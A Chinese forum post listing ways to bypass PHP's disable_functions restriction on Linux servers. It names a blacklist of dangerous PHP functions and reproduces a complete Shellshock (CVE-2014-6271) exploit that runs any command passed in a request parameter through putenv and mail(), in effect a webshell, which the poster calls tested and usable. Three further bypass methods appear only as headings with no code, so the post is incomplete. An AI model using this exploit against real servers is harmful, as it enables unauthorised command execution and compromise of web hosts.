搜索
    Hi~登录注册
    查看: 244|回复: 0
    收起左侧

    linu下绕过php的disable_functions的几种方式

    [复制链接]

    1

    主题

    0

    精华

    10 小时

    在线时间

    新手上路

    Rank: 1

    积分
    2
    发表于 2019-12-13 12:03:18 | 显示全部楼层 |阅读模式

    菜鸡发帖,大佬们轻点喷,有错误之处希望大佬们能够批评指出。。

    关于php的disable_functions绕过,网上有些绕过方式已经不太好用,所以我想总结一下关于disable_functions的几种绕过方式,可能不太全面,但希望能给那些和我一样的网络安全小白们提供一些帮助 (亲测可用)

    常见危险函数如下,黑名单过滤如果没有完全禁用可以尝试利用未被禁用的函数

    system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,putenv,apache_setenv,mb_send_mail,assert,dl,set_time_limit,ignore_user_abort,symlink,link,map_open,imap_mail,ini_set,ini_alter,其他函数

    1.CVE-2014-6271 要求 PHP < 5.6.2

    
    # Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions) 
    # Google Dork: none # Date: 10/31/2014 
    # Exploit Author: Ryan King (Starfall) 
    # Vendor Homepage: http://php.net # Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror 
    # Version: 5.* (tested on 5.6.2) 
    # Tested on: Debian 7 and CentOS 5 and 6 
    # CVE: CVE-2014-6271
    function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283    
    $tmp = tempnam(".","data");    
    putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");    
    // In Safe Mode, the user may only alter environment variableswhose names   
    // begin with the prefixes supplied by this directive.    
    // By default, users will only be able to set environment variablesthat    
    // begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty,   
    // PHP will let the user modify ANY environment variable!    mail("[email protected]","","","","-bv"); 
    // -bv so we don't actuallysend any mail    
    $output = @file_get_contents($tmp);   
    @unlink($tmp);   
    if($output != "") return $output;   
    else return "No output, or not vuln."; 
    }                   
    echo shellshock($_REQUEST["cmd"]); 
    ?>

    2.开启了 pcntl 扩展,就可以利用 pcntl_exec 函数来执行命令,要求 PHP 4 >= 4.2.0, PHP 5 on linux

    1. 如果网站安装了 imap 拓展,并启用,且 php.inienable_insecure_rsh 处于 On 状态(默认既是On 状态)时,可以通过如下代码写入 webshell

    2. 4.PHP 7.1-7.3 disable_functions bypass

    回复

    使用道具 举报

    游客
    回复
    您需要登录后才可以回帖 登录 | 获取账号

    快速回复 返回顶部 返回列表